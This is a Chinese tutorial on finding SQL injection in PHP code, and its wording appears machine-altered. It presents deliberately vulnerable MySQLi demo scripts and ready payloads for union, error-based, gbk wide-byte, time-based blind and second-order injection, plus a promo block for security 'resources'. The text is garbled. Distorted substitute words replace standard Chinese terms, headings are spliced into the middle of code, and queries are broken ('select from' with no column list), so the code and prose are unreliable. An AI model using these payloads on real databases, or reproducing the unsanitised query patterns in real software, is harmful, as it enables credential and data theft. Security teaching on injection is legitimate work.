大略来讲,所有可以涉及到数据库增编削查的系统功能点都有可能存在SQL注入漏洞。
一个大略的攻击事理举例:
在SQL注入中,我们更该当关注的是业务逻辑,例如业务中可能设计到的增编削查操作,下面通过一个大略的代码小demo来进行SQL注入的演示:

<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>SQL注入小demo</title></head><body>用户名:<form method="GET"> //form表单通过get办法吸收数据 <input type="text" name="name" size="50" /> //通过name参数吸收数据 <br> <input type="submit" value="点击查询" style="margin-top:50px;"> <?php $db = mysqli_connect("localhost","root","123456","demo"); //建立mysql连接 if(!$db){ echo "数据库链接失落败!
"; exit(); } $name = $_GET['name']; //通过前端设置的name参数将数据吸收到后端进行处理 $sql = "select from user where name = '".$name."';"; echo " 输出当前实行的SQL主句:".$sql.""; $result = mysqli_query($db,$sql); //实行SQL语句 while($row=mysqli_fetch_array($result)) //取出一行数据的所有内容以数组的形式返回 { echo "账号:".$row['user'].""; //输出一行数据的user字段值 echo "密码:".$row['passwd']."";//输出一行数据的passwd字段值 } mysqli_close($db);//关闭mysql连接 ?></form></body></html>
【逐一帮助安全学习,所有资源关注我,私信回答“资料”获取逐一】①网络安全学习路线②20份渗透测试电子书③安全攻防357页条记④50份安全攻防口试指南⑤安全红队渗透工具包⑥网络安全必备书本⑦100个漏洞实战案例⑧安全大厂内部教程
1.1 PHP MySQLi基本函数PHP MySQLi 函数许可访问 MySQL 数据库做事器。普通来说MySQLi 下的函数用来处理PHP中关于数据增编削查的操作。
mysqli_connect()mysqli_query()mysqli_fetch_array()mysqli_close()为了方便演示实际的业务流程,我们创建demo数据库,并且创建user表,在表中插入演示数据。
这里大略演示了一下通过查询来获取数据的操作事理。
1.2 问题引申:
我们知道某些业务功能会涉及到数据库交互,如上所示,我们是不是可以通过正常功能插入恶意SQL语句来实现我们想要达到的目的呢?
例如这样:
1' union select 1,2,user(),database();#
2.SQL注入分类
SQL注入大致分为以下五大类,下面我们通过实际的PHP代码进行剖析。
2.1 报错注入2.2.1 示例代码
通过传入id参数且传入的id参数未做过滤直接拼接到SQL语句中实行,直策应用mysqli_error()进行报错处理没有对报错进行良好的缺点处理,以是导致报错注入的产生。
<?phpif(isset($_GET['id'])) //判断是否存在id参数传入{ header("Content-type:text/html;charset=utf-8"); $db = mysqli_connect("localhost:3307","root","123456","demo"); //连接一个数据库 if(!$db){ echo "数据库链接失落败!
2.1.2 PHP函数先容
"; exit(); } $id=$_GET['id']; //获取id参数值 $sql="SELECT FROM user WHERE id='$id' LIMIT 0,1"; //将id参数值直接拼接到SQL语句 $result=mysqli_query($db,$sql); //实行SQL语句 $row = @mysqli_fetch_array($result); //取出第一行查询到的值以数组形式返回if($row){ echo 'Your Login name:'. $row['user']; //查询到id为xxx的user字段值并输出 echo "<br>"; echo 'Your Password:' .$row['passwd']; //查询到id为xxx的passwd字段值并输出}else{ echo mysqli_error($db); //如果语句涌现缺点直接输出错误} mysqli_close($db); //关闭mysql连接}?>
mysqli_erro
2.1.3 测试
当正常查询id=1时输出user以及passwd字段的值php、123456。
当输入id=1',mysqli_error()捕获缺点信息,并将SQL语句报错。
我们闭合SQL语句中的单引号即可实行我们想要的查询的内容
测试语句:
1' and (select extractvalue("anything",concat('~',( user()))))%20--%20dsddsa
mysql中有一个特性,由于gbk是多字节编码,两个字节代表一个汉字,以是%df和后面的转义字符\也便是%5c会组成了一个汉字運,而'就逃逸了出来造成SQL注入。
在审计SQL注入时,要着重把稳MySQL中设置的字符编码,如果为gbk,那么很可能存在宽字节注入。
<?phpif(isset($_GET['id'])){ header("Content-type:text/html;charset=utf-8"); $db = mysqli_connect("localhost:3307","root","123456","demo"); mysqli_query($db,"SET NAMES 'gbk'"); //设置MySQL字符编码为gbk if(!$db){ echo "数据库链接失落败!
2.2.2 PHP函数先容
"; exit(); } $id=addslashes($_GET['id']); //通过addslashes()对分外字符进行转义 $sql="SELECT FROM user WHERE id='$id' LIMIT 0,1"; echo "输出SQL语句:".$sql."<br><br>"; $result=mysqli_query($db,$sql); $row = @mysqli_fetch_array($result); if($row) // { echo 'Your Login name:'. $row['user']; echo "<br>"; echo 'Your Password:' .$row['passwd']; } else { echo mysqli_error($db); } mysqli_close($db);}?>
addslashes()
2.2.3 测试
我们创造输入'时,'被addslashes()转义。
我们利用%df和前面的\闭合也便是%5c,然后我们的%27也便是'直接逃逸出来,这时我们就能布局自己想要实行的SQL语句,造成SQL注入。
测试语句:
1%df%27 and extractvalue(1,concat(0x7e,(select user()),0x7e)) -- qwe
在盲注中不管是布尔盲注还是韶光型盲注,页面显示不会有明显的变革,代码审计中只能通过查看源代码闭合原有的SQL语句,然后利用MySQL中延时的办法来判断是否存在SQL注入。
2.3.1 代码示例这里为了进行盲注的演示,在代码中特意加入了一条if判断,当mysqli_fetch_array()查询的结果集为NULL的时候,返回id=1的数据内容,这就让我们无法判断插入的SQL语句是否实行成功,只能通过延时来进行测试。
<?phpif(isset($_GET['id'])){ header("Content-type:text/html;charset=utf-8"); $db = mysqli_connect("localhost:3307","root","123456","demo"); if(!$db){ echo "数据库链接失落败!
2.3.2 测试
"; exit(); } $id=$_GET['id']; $sql="SELECT FROM user WHERE id='$id' LIMIT 0,1"; $result=mysqli_query($db,$sql); $row = @mysqli_fetch_array($result); if(!$row) //如果查询的结果集为NULL的话,返回id=1的数据 { $sql="SELECT FROM user WHERE id='1' LIMIT 0,1"; $result=mysqli_query($db,$sql); $row = @mysqli_fetch_array($result); } if($row) { echo 'Your Login name:'. $row['user']; echo "<br>"; echo 'Your Password:' .$row['passwd']; } mysqli_close($db);}?>
当我们查询数据库中存在的数据时返回指定字段的内容
当我们查询数据库中不存在的数据时,由于mysqli_fetch_array()查询结果为NULL,以是返回id=1的指定字段内容。
由于我们在代码审计时可以一览无余看到SQL语句的布局情形,以是我们只需闭合相应的分外字符,通过sleep()函数使页面延时,从而判断此处是否存在注入点,进而进行下一步的注入。
测试语句:
2312'%20or%20sleep(5)%20--%20qwe
2.4 二次注入2.4.1 代码示例
二次注入的逻辑是在第一次insert或update操作时期码存在转义而无法造成注入,但数据在被插入数据库时转义会消逝,正常的SQL语句将会被存储到数据库中,在第二次调用插入的数据时被还原的SQL语句将被拼接到正常的SQL语句中造成二次注入。
<?phpif(isset($_GET['user'])){ header("Content-type:text/html;charset=utf-8"); $db = mysqli_connect("localhost:3307","root","123456","demo"); if(!$db){ echo "数据库链接失落败!
2.4.2 PHP函数先容
"; exit(); } //第一次更新操作 $user=addslashes($_GET['user']); $sql="update user set user='$user' where id=1"; //修正id=1的用户名 echo "输出第一次的SQL语句:".$sql."<br><br>"; $result=mysqli_query($db,$sql);//第二次查询操作 $sql = "select from user where id=1"; $result=mysqli_query($db,$sql); $row = @mysqli_fetch_array($result); $sql = "select from user where user = '$row[2]'"; //查询结果集中下标为2(name)的一行数据 echo "输出第二次查询的SQL语句:".$sql."<br><br>"; $result=mysqli_query($db,$sql); var_dump(mysqli_fetch_row($result)); //取出查询到的结果集并以数组的形式返回 mysqli_close($db);}?>
mysqli_fetch_row()
2.4.3 测试
输入'时,'被addslashes()转义,这里无法造成注入
但在数据库中存储时转义\被打消
但在第二次调用时转义后的SQL语句被拼接在正常的SQL语句中,造成二次注入。测试语句:
' union select 1,2,database(),3 -- qwe
3.SQL注入代码审计总结
在审计SQL注入的时候,我们首先要找到对应的传参点,更要多关注代码中正常SQL语句的规则和过滤情形,最主要的是要闭合正常的SQL语句来,终极实行我们想要实行的SQL语句。